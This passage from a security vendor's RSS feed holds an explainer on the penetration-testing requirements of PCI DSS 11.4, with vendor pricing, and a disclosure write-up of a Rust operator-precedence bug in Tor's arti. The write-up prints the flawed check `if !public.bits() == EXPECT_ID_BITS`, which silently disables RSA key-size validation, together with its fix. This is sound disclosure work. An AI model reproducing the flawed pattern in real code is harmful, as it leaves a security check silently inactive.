&lt;/ul&gt;</content:encoded><author>ryan@hackzero.ai (Ryan Cruz)</author></item><item><title>PCI DSS penetration testing requirements: 11.4 explained</title><link>https://hackzero.ai/learn/pci-dss-penetration-testing-requirements</link><guid isPermaLink="true">https://hackzero.ai/learn/pci-dss-penetration-testing-requirements</guid><description>PCI DSS 11.4 requires internal and external penetration tests, a mandatory retest, and 6-month segmentation tests. What it does not require: a QSA.</description><pubDate>Tue, 04 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1 id=&quot;what-does-pci-dss-require-for-penetration-testing&quot;&gt;What does PCI DSS require for penetration testing?&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;Unlike SOC 2 or ISO 27001, PCI DSS flatly requires a penetration test.&lt;/strong&gt;
Requirement 11.4 mandates internal and external tests every 12 months and
after significant changes, a retest to verify fixes, and segmentation tests
every 6 months for service providers. What it does not require is a QSA, an
ASV, or an outside firm.&lt;/p&gt;
&lt;p&gt;&lt;img  src=&quot;https://hackzero.ai/_assets/pci-cadence-verdict-graphic.Cb3v7S7F_Z2jSUFJ.webp&quot; alt=&quot;Infographic: PCI DSS Requirement 11.4 requires internal and external testing every 12 months, after significant changes, and a retest to verify fixes&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;auto&quot; width=&quot;1672&quot; height=&quot;941&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;On this page:&lt;/strong&gt; &lt;a href=&quot;#what-requirement-114-actually-says&quot;&gt;what 11.4 says&lt;/a&gt; ·
&lt;a href=&quot;#the-retest-is-mandatory-and-usually-unpriced&quot;&gt;the mandatory retest&lt;/a&gt; ·
&lt;a href=&quot;#who-is-actually-allowed-to-test&quot;&gt;who may test&lt;/a&gt; ·
&lt;a href=&quot;#service-providers-owe-roughly-double&quot;&gt;service providers&lt;/a&gt; ·
&lt;a href=&quot;#asv-scans-are-a-different-obligation&quot;&gt;scans are separate&lt;/a&gt; ·
&lt;a href=&quot;#what-this-costs-in-practice&quot;&gt;what it costs&lt;/a&gt; ·
&lt;a href=&quot;#why-this-is-the-requirement-teams-fail&quot;&gt;why teams fail it&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;what-requirement-114-actually-says&quot;&gt;What Requirement 11.4 actually says&lt;/h2&gt;
&lt;p&gt;Most pages about PCI penetration testing paraphrase a paraphrase. The
requirement itself is short and unambiguous, and you can download the
standard from the &lt;a href=&quot;https://www.pcisecuritystandards.org/document_library/&quot;&gt;PCI SSC document
library&lt;/a&gt; to read it
in full. Here is the structure:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://hackzero.ai/img/learn/pci-114-obligations.svg&quot; alt=&quot;Timeline of one year of PCI DSS testing obligations for a service provider, showing two penetration tests, segmentation tests every six months, quarterly ASV scans and a mandatory retest&quot;&gt;&lt;/p&gt;













































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Requirement&lt;/th&gt;&lt;th&gt;What it obliges&lt;/th&gt;&lt;th&gt;Cadence&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;11.4.1&lt;/td&gt;&lt;td&gt;a defined, documented penetration testing methodology using industry-accepted approaches&lt;/td&gt;&lt;td&gt;maintained&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;11.4.2&lt;/td&gt;&lt;td&gt;internal penetration testing per that methodology&lt;/td&gt;&lt;td&gt;every 12 months + after significant change&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;11.4.3&lt;/td&gt;&lt;td&gt;external penetration testing per that methodology&lt;/td&gt;&lt;td&gt;every 12 months + after significant change&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;11.4.4&lt;/td&gt;&lt;td&gt;exploitable findings corrected, and testing repeated to verify&lt;/td&gt;&lt;td&gt;after every remediation&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;11.4.5&lt;/td&gt;&lt;td&gt;segmentation controls tested, if segmentation isolates the CDE&lt;/td&gt;&lt;td&gt;every 12 months&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;11.4.6&lt;/td&gt;&lt;td&gt;the same segmentation testing, for service providers&lt;/td&gt;&lt;td&gt;every 6 months&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;11.4.7&lt;/td&gt;&lt;td&gt;multi-tenant providers support customers’ external testing&lt;/td&gt;&lt;td&gt;on request&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Two things in that table surprise people. The cadence is not simply annual:
“after any significant infrastructure or application upgrade or change”
means a re-architecture in March obliges a test in March, not next January.
And 11.4.4 makes the retest part of the requirement, not an upsell.&lt;/p&gt;
&lt;h3 id=&quot;what-counts-as-a-significant-change&quot;&gt;What counts as a significant change&lt;/h3&gt;
&lt;p&gt;The standard leaves this to you, which teams read as permission to ignore
it. Your QSA will not. In practice, treat a new external service, a change
to authentication or authorization, a move between cloud accounts or
regions, a new component inside the cardholder data environment, or a change
to segmentation as significant, and write that definition into the 11.4.1
methodology document before an assessor writes it for you. Deciding after
the fact looks like a decision made to avoid a test.&lt;/p&gt;
&lt;h2 id=&quot;the-retest-is-mandatory-and-usually-unpriced&quot;&gt;The retest is mandatory, and usually unpriced&lt;/h2&gt;
&lt;p&gt;Requirement 11.4.4 is the clause that quietly doubles engagements.
&lt;a href=&quot;https://www.compliancepoint.com/assurance/pci-dss-v4-0-vuln-pen-requirements/&quot;&gt;CompliancePoint, a
QSA&lt;/a&gt;,
quotes it as:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Exploitable vulnerabilities and security weaknesses found during
penetration testing are corrected as follows…&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;with corrections risk-ranked through your Requirement 6.3.1 process, and
testing repeated to verify them. &lt;a href=&quot;https://www.schellman.com/blog/pci-compliance/pci-dss-v4-requirement-1144&quot;&gt;Schellman, another
QSA&lt;/a&gt;,
is blunt about what that means in practice: after fixing, “you’ll of course
need to have another pen test performed, also called a retest.” A
remediation with no documented retest does not satisfy 11.4.4.&lt;/p&gt;
&lt;p&gt;Most firms bill that retest separately at 10 to 25 percent of the original
fee, so the honest annual number is higher than the quote you were given.
The &lt;a href=&quot;https://hackzero.ai/learn/penetration-testing-cost&quot;&gt;full cost breakdown is here&lt;/a&gt;.
Continuous testing sidesteps the issue structurally: if the test never
stops, the fix gets re-attacked as a matter of course rather than as a
change order.&lt;/p&gt;
&lt;h2 id=&quot;who-is-actually-allowed-to-test&quot;&gt;Who is actually allowed to test&lt;/h2&gt;
&lt;p&gt;This is where most vendor content overstates the requirement, and where a
QSA-literate CTO will catch you.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://hackzero.ai/img/learn/pci-who-can-test.svg&quot; alt=&quot;Comparison of who may perform each PCI test, showing penetration testing needs organizational independence but no certification while quarterly external scanning requires an Approved Scanning Vendor&quot;&gt;&lt;/p&gt;
&lt;p&gt;PCI DSS asks for a tester who is “qualified by experience or training” and
who has organizational independence from the systems being tested. It does
not ask for a certification. The parenthetical:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(not required to be a QSA or ASV)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;appears repeatedly through Requirement 11.4 and the SAQs. Testing may be
performed by a qualified internal resource or a qualified external third
party. PCI is not unusual here: &lt;a href=&quot;https://hackzero.ai/learn/which-frameworks-require-third-party-penetration-test&quot;&gt;only three frameworks actually require an
outside tester&lt;/a&gt;,
and PCI is not one of them.&lt;/p&gt;
&lt;h3 id=&quot;why-independence-still-pushes-the-test-outside&quot;&gt;Why independence still pushes the test outside&lt;/h3&gt;
&lt;p&gt;Organizational independence is the real constraint, and it is stricter than
it sounds: the tester cannot assess systems they build, run, or maintain. At
seed and Series A, with one platform team, there is no internal resource who
clears that bar, so the test goes outside for structural reasons rather than
regulatory ones. That is a more honest argument than claiming PCI demands a
third party, and it survives contact with someone who has read the standard.&lt;/p&gt;
&lt;h3 id=&quot;what-your-qsa-will-actually-read&quot;&gt;What your QSA will actually read&lt;/h3&gt;
&lt;p&gt;The methodology document from 11.4.1, and the evidence. Reviewers look for
scope coverage of the whole cardholder data environment perimeter, testing
from inside and outside, application-layer and network-layer work, findings
that are validated as genuinely exploitable, and the retest. That is the
same bar described in &lt;a href=&quot;https://hackzero.ai/product/white-box&quot;&gt;our methodology
pages&lt;/a&gt;, and it is why an unvalidated scanner dump fails
review no matter who ran it.&lt;/p&gt;
&lt;h2 id=&quot;service-providers-owe-roughly-double&quot;&gt;Service providers owe roughly double&lt;/h2&gt;
&lt;p&gt;If you sell software that sits inside someone else’s cardholder data
environment, three things change:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;11.4.6 puts segmentation testing on a 6-month clock&lt;/strong&gt; instead of the
annual cadence merchants get.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;11.4.7 obliges multi-tenant providers to support their customers’
external testing.&lt;/strong&gt; You inherit an obligation to enable testing you do not
control or schedule.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Level 1 starts at 300,000 transactions a year&lt;/strong&gt;, roughly 822 a day,
counted across all your customers combined rather than per customer. A
Series A fintech crosses into full QSA-assessed territory earlier than
founders expect.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Counted honestly, a segmented service provider owes at least four
penetration tests a year (internal, external, and two segmentation tests),
plus every retest, plus four quarterly ASV scans.&lt;/p&gt;
&lt;h2 id=&quot;asv-scans-are-a-different-obligation&quot;&gt;ASV scans are a different obligation&lt;/h2&gt;
&lt;p&gt;Requirement 11.3.2 requires external vulnerability scans every 90 days by a
PCI SSC Approved Scanning Vendor, and unlike almost everything else in v4.x
it cannot be met through the customized approach. This is the one place PCI
truly does mandate a certified outside party.&lt;/p&gt;
&lt;p&gt;It is also the most common confusion in the market: a passing quarterly ASV
scan is not evidence for 11.4. Scans enumerate known vulnerabilities; a
penetration test exploits them and chains them. The &lt;a href=&quot;https://hackzero.ai/compare/manual-pentest&quot;&gt;difference in what each
one finds&lt;/a&gt; is the whole reason the standard has
both, and the customized approach objective for 11.4.1 is framed around
resisting a competent manual attacker rather than a tool.&lt;/p&gt;
&lt;h2 id=&quot;what-this-costs-in-practice&quot;&gt;What this costs in practice&lt;/h2&gt;
&lt;p&gt;For a typical segmented environment, budget $8,000 to $30,000 a year across
the internal test, the external test, segmentation testing, and retests,
with ASV scanning billed separately. Our own numbers are public and the
&lt;a href=&quot;https://hackzero.ai/learn/penetration-testing-cost&quot;&gt;full market bands are here&lt;/a&gt;:&lt;/p&gt;

























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Who&lt;/th&gt;&lt;th&gt;Price&lt;/th&gt;&lt;th&gt;What it covers&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Fewer than 10 people (headcount, self-attested: no funding, stage, or age test)&lt;/td&gt;&lt;td&gt;$299 a month&lt;/td&gt;&lt;td&gt;continuous testing on one product, plus SOC 2 controls&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;10 people or more&lt;/td&gt;&lt;td&gt;$499 a month&lt;/td&gt;&lt;td&gt;the same&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Human-validated pentest&lt;/td&gt;&lt;td&gt;$2,999 per engagement&lt;/td&gt;&lt;td&gt;hackers confirm exploitability and write the report, on top of either plan, for when 11.4 wants a human on the record&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;h3 id=&quot;where-the-money-actually-goes&quot;&gt;Where the money actually goes&lt;/h3&gt;
&lt;p&gt;The cost driver you actually control is scope. Every system that can affect
the security of the cardholder data environment is in scope, so segmenting
aggressively and keeping card data out of your own systems shrinks the
testable surface and the bill with it. That work pays for itself in the
first assessment.&lt;/p&gt;
&lt;h2 id=&quot;why-this-is-the-requirement-teams-fail&quot;&gt;Why this is the requirement teams fail&lt;/h2&gt;
&lt;p&gt;Requirement 11 has been the worst-performing requirement in PCI for years.
Reporting on Verizon’s Payment Security Report,
&lt;a href=&quot;https://www.securityweek.com/pci-dss-compliance-between-audits-declining-verizon/&quot;&gt;SecurityWeek&lt;/a&gt;
summarised it plainly:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Requirement 11 continues to lag at the back of the pack when it comes to
full compliance&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;with the widest control gap of any requirement. The same body of research
produced the line worth keeping in mind before treating this as paperwork:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;At the time of a breach, no organization was compliant across all 12 PCI
DSS requirements.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The pattern behind the failures is consistent: teams test once a year,
re-architect in month four, and never test again, which fails the
significant-change clause. Or they remediate and never document a retest,
which fails 11.4.4. Both are cadence problems, not capability problems,
which is the argument for testing continuously rather than annually. It is
also why we &lt;a href=&quot;https://hackzero.ai/benchmarks&quot;&gt;publish our benchmark results&lt;/a&gt; rather than
asking anyone to take the cadence claim on faith.&lt;/p&gt;
&lt;h2 id=&quot;the-short-version&quot;&gt;The short version&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;PCI DSS genuinely requires penetration testing, unlike &lt;a href=&quot;https://hackzero.ai/learn/does-soc-2-require-a-penetration-test&quot;&gt;SOC
2&lt;/a&gt;: internal and external,
every 12 months and after significant change.&lt;/li&gt;
&lt;li&gt;The tester needs organizational independence and competence, not a QSA or
ASV badge.&lt;/li&gt;
&lt;li&gt;The retest in 11.4.4 is mandatory. Check whether it is in your quote.&lt;/li&gt;
&lt;li&gt;Service providers owe segmentation tests every 6 months and must support
their customers’ testing.&lt;/li&gt;
&lt;li&gt;Quarterly ASV scanning under 11.3.2 is a separate obligation and does need
a certified vendor.&lt;/li&gt;
&lt;li&gt;Budget $8,000 to $30,000 a year for a segmented environment, or start from
&lt;a href=&quot;https://hackzero.ai/pricing&quot;&gt;$299 a month&lt;/a&gt; on continuous testing.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Other frameworks phrase the obligation very differently. ISO 27001 never names
penetration testing at all, and
&lt;a href=&quot;https://hackzero.ai/learn/iso-27001-penetration-testing&quot;&gt;the two controls that make it necessary anyway&lt;/a&gt;
are worth reading if you are scoping for more than PCI.&lt;/p&gt;</content:encoded><author>cuau@hackzero.ai (Cuauhtli Padilla)</author></item><item><title>A disabled key-size check in Tor&apos;s arti: the !x == y bug we reported</title><link>https://hackzero.ai/learn/tor-arti-rsa-key-size-check</link><guid isPermaLink="true">https://hackzero.ai/learn/tor-arti-rsa-key-size-check</guid><description>One misplaced ! disabled an RSA key-size check in Tor&apos;s arti. How if !x == y compiles in Rust, why it slipped past clippy and the tests, and the one-line fix.</description><pubDate>Tue, 04 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1 id=&quot;a-disabled-key-size-check-we-found-in-tors-arti&quot;&gt;A disabled key-size check we found in Tor’s arti&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;We reported a security-check bug in Tor’s arti: a misplaced &lt;code&gt;!&lt;/code&gt; disabled
an RSA key-size check, so any key size passed a test meant to allow only
1024-bit keys.&lt;/strong&gt; Tor rated it low severity and fixed it in merge request
!4231. It is a clean Rust operator-precedence trap that slipped past the
compiler, the tests, and clippy.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://hackzero.ai/img/learn/tor-arti-precedence.svg&quot; alt=&quot;Diagram showing how the Tor arti source line if not public bits equals expected bits was meant to reject any key that is not 1024 bits, but Rust applied the not operator to the bit count first, so the comparison is always false and the rejection branch never runs&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;On this page:&lt;/strong&gt; &lt;a href=&quot;#the-bug-in-one-sentence&quot;&gt;the bug&lt;/a&gt; ·
&lt;a href=&quot;#what-the-function-was-supposed-to-do&quot;&gt;what the function does&lt;/a&gt; ·
&lt;a href=&quot;#what-rust-actually-compiled&quot;&gt;what rust compiled&lt;/a&gt; ·
&lt;a href=&quot;#the-honest-impact-low-severity&quot;&gt;the honest impact&lt;/a&gt; ·
&lt;a href=&quot;#the-fix-is-one-character&quot;&gt;the fix&lt;/a&gt; ·
&lt;a href=&quot;#why-the-compiler-tests-and-clippy-all-missed-it&quot;&gt;why tools missed it&lt;/a&gt; ·
&lt;a href=&quot;#how-we-disclosed-it&quot;&gt;disclosure&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;the-bug-in-one-sentence&quot;&gt;The bug in one sentence&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;create_legacy_rsa_id_cert&lt;/code&gt; in &lt;code&gt;crates/tor-cert-x509/src/lib.rs&lt;/code&gt; is meant to
reject RSA identity keys that are not 1024 bits, as the Tor channel spec
requires. The check was written &lt;code&gt;if !public.bits() == EXPECT_ID_BITS&lt;/code&gt;, which
Rust parses as &lt;code&gt;if (!public.bits()) == EXPECT_ID_BITS&lt;/code&gt;, so it is effectively
always false and the rejection never happens.&lt;/p&gt;

































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Field&lt;/th&gt;&lt;th&gt;Value&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Project&lt;/td&gt;&lt;td&gt;Tor &lt;code&gt;arti&lt;/code&gt; (&lt;code&gt;tor-cert-x509&lt;/code&gt; crate)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Class&lt;/td&gt;&lt;td&gt;Operator-precedence bug disabling a key-size check&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Severity&lt;/td&gt;&lt;td&gt;Low (Tor’s assessment); &lt;code&gt;arti&lt;/code&gt; binary unaffected&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Advisory&lt;/td&gt;&lt;td&gt;No TROVE, no RustSec (Tor’s decision)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fix&lt;/td&gt;&lt;td&gt;Merge request !4231, one-character change plus tests&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Reported&lt;/td&gt;&lt;td&gt;Privately to &lt;a href=&quot;mailto:security@torproject.org&quot;&gt;security@torproject.org&lt;/a&gt;, June 30, 2026&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;h2 id=&quot;what-the-function-was-supposed-to-do&quot;&gt;What the function was supposed to do&lt;/h2&gt;
&lt;p&gt;The &lt;a href=&quot;https://spec.torproject.org/tor-spec/&quot;&gt;Tor channel spec&lt;/a&gt; is specific
about the legacy identity certificate. In the words of the spec, quoted in
the report:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Tor channel spec requires RSA_ID_X509 to contain a self-signed certificate
with a 1024-bit RSA key and exponent 65537&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;So &lt;code&gt;create_legacy_rsa_id_cert&lt;/code&gt;, which builds that certificate from local
relay identity key material, is documented to return an error unless the
keypair is a 1024-bit RSA key with exponent 65537. The size guard is the
line that enforces the “1024-bit” half of that contract.&lt;/p&gt;
&lt;h3 id=&quot;the-constant-was-right-the-operator-was-not&quot;&gt;The constant was right, the operator was not&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;EXPECT_ID_BITS&lt;/code&gt; is 1024. The intent of &lt;code&gt;if !public.bits() == EXPECT_ID_BITS&lt;/code&gt;
reads, in English, as “if the key is not 1024 bits, reject it.” That is a
reasonable sentence and a completely wrong expression, because Rust does not
group it the way the English does.&lt;/p&gt;
&lt;h2 id=&quot;what-rust-actually-compiled&quot;&gt;What Rust actually compiled&lt;/h2&gt;
&lt;p&gt;Here is the trap. In Rust, &lt;code&gt;!&lt;/code&gt; is logical negation only when its operand is
a &lt;code&gt;bool&lt;/code&gt;. Applied to an integer, &lt;code&gt;!&lt;/code&gt; is the bitwise-complement operator.
&lt;code&gt;public.bits()&lt;/code&gt; returns an unsigned integer, so &lt;code&gt;!public.bits()&lt;/code&gt; does not
mean “not the size,” it means “flip every bit of the size.”&lt;/p&gt;
&lt;p&gt;And &lt;code&gt;!&lt;/code&gt; binds tighter than &lt;code&gt;==&lt;/code&gt;, so:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-high-contrast&quot; style=&quot;background-color:#0a0c10;color:#f0f3f6; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;rust&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#BDC4CC&quot;&gt;// written&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF9492&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#FF9492&quot;&gt; !&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt;public&lt;/span&gt;&lt;span style=&quot;color:#FF9492&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#DBB7FF&quot;&gt;bits&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt;() &lt;/span&gt;&lt;span style=&quot;color:#FF9492&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#91CBFF&quot;&gt; EXPECT_ID_BITS&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#BDC4CC&quot;&gt;/* reject */&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#BDC4CC&quot;&gt;// parsed by Rust&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF9492&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#FF9492&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt;public&lt;/span&gt;&lt;span style=&quot;color:#FF9492&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#DBB7FF&quot;&gt;bits&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt;()) &lt;/span&gt;&lt;span style=&quot;color:#FF9492&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#91CBFF&quot;&gt; EXPECT_ID_BITS&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#BDC4CC&quot;&gt;/* reject */&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt; }&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For a 1024-bit key, &lt;code&gt;!1024&lt;/code&gt; as an unsigned integer is an enormous number
(every bit above the low ones set), nowhere near 1024, so the comparison is
false and the key is accepted. For a 2048-bit key, &lt;code&gt;!2048&lt;/code&gt; is also nowhere
near 1024, so that comparison is false too, and the key is accepted again.
The rejection branch is dead code for every realistic key size.&lt;/p&gt;
&lt;h3 id=&quot;the-two-behaviors-side-by-side&quot;&gt;The two behaviors, side by side&lt;/h3&gt;




















&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Key&lt;/th&gt;&lt;th&gt;Intended (&lt;code&gt;!(bits == 1024)&lt;/code&gt;)&lt;/th&gt;&lt;th&gt;Compiled (&lt;code&gt;(!bits) == 1024&lt;/code&gt;)&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;1024-bit&lt;/td&gt;&lt;td&gt;accept&lt;/td&gt;&lt;td&gt;accept (by luck)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;2048-bit&lt;/td&gt;&lt;td&gt;reject&lt;/td&gt;&lt;td&gt;accept (the bug)&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The 1024-bit case is right by accident, which is exactly why nobody noticed:
the default path behaves correctly, so the check looks like it works.&lt;/p&gt;
&lt;h2 id=&quot;the-honest-impact-low-severity&quot;&gt;The honest impact: low severity&lt;/h2&gt;
&lt;p&gt;This is where we stay accurate, because inflating a Tor finding is the
fastest way to lose a technical reader. This is not a remote
certificate-validation bypass. The affected function generates a local
certificate from local identity key material, and Tor’s maintainers scoped
it tightly. As the maintainer wrote on the issue:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I’d say that this is a low-severity issue as it’s not used by any Arti
artifacts (such as the arti binary), and is unlikely to be used by users
of the tor-cert/tor-cert-x509 crates since the function is bespoke.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Default operation is unaffected because normal &lt;code&gt;arti&lt;/code&gt; RSA identity key
generation is hardcoded to 1024 bits in &lt;code&gt;crates/tor-llcrypto/src/pk/rsa.rs&lt;/code&gt;.
The real risk is narrow: an imported or externally provisioned relay
identity key with a non-1024-bit modulus would be accepted and used to
generate a certificate that violates the channel spec. Tor confirmed the
bug, briefly labelled it a blocker, then settled on low severity and decided
not to issue a TROVE. We report it the same way.&lt;/p&gt;
&lt;h2 id=&quot;the-fix-is-one-character&quot;&gt;The fix is one character&lt;/h2&gt;
&lt;p&gt;The correct expression states the comparison directly instead of negating a
value:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-high-contrast&quot; style=&quot;background-color:#0a0c10;color:#f0f3f6; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;rust&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#BDC4CC&quot;&gt;// before: precedence makes this always false&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF9492&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#FF9492&quot;&gt; !&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt;public&lt;/span&gt;&lt;span style=&quot;color:#FF9492&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#DBB7FF&quot;&gt;bits&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt;() &lt;/span&gt;&lt;span style=&quot;color:#FF9492&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#91CBFF&quot;&gt; EXPECT_ID_BITS&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#BDC4CC&quot;&gt;/* reject */&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#BDC4CC&quot;&gt;// after: reject when the size is not the expected size&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF9492&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt; public&lt;/span&gt;&lt;span style=&quot;color:#FF9492&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#DBB7FF&quot;&gt;bits&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt;() &lt;/span&gt;&lt;span style=&quot;color:#FF9492&quot;&gt;!=&lt;/span&gt;&lt;span style=&quot;color:#91CBFF&quot;&gt; EXPECT_ID_BITS&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#BDC4CC&quot;&gt;/* reject */&lt;/span&gt;&lt;span style=&quot;color:#F0F3F6&quot;&gt; }&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Merged in &lt;a href=&quot;https://gitlab.torproject.org/tpo/core/arti/-/merge_requests/4231&quot;&gt;merge request
!4231&lt;/a&gt;,
with the regression tests the original had been missing: a 1024-bit key is
accepted, and a 2048-bit key is rejected with &lt;code&gt;InvalidSigningKey(&quot;Invalid key length&quot;)&lt;/code&gt;. The &lt;a href=&quot;https://gitlab.torproject.org/tpo/core/arti/-/work_items/2626&quot;&gt;tracking
issue&lt;/a&gt; has
the full discussion.&lt;/p&gt;
&lt;h2 id=&quot;why-the-compiler-tests-and-clippy-all-missed-it&quot;&gt;Why the compiler, tests, and clippy all missed it&lt;/h2&gt;
&lt;p&gt;Nothing here is exotic, which is the point. The expression is valid Rust:
&lt;code&gt;!bits()&lt;/code&gt; is a legal integer, and comparing an integer to a constant is
legal, so &lt;a href=&quot;https://doc.rust-lang.org/reference/expressions.html#expression-precedence&quot;&gt;the compiler&lt;/a&gt;
has nothing to warn about. The test suite passed because no test fed the
function a wrong-sized key. And &lt;code&gt;cargo clippy -p tor-cert-x509 -- -D warnings&lt;/code&gt; passed without flagging the &lt;a href=&quot;https://doc.rust-lang.org/std/ops/trait.Not.html&quot;&gt;precedence&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&quot;the-pattern-worth-grepping-for&quot;&gt;The pattern worth grepping for&lt;/h3&gt;
&lt;p&gt;A Tor maintainer flagged the general shape as worth hunting across the
codebase:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;We should search our code for other places where we might be doing
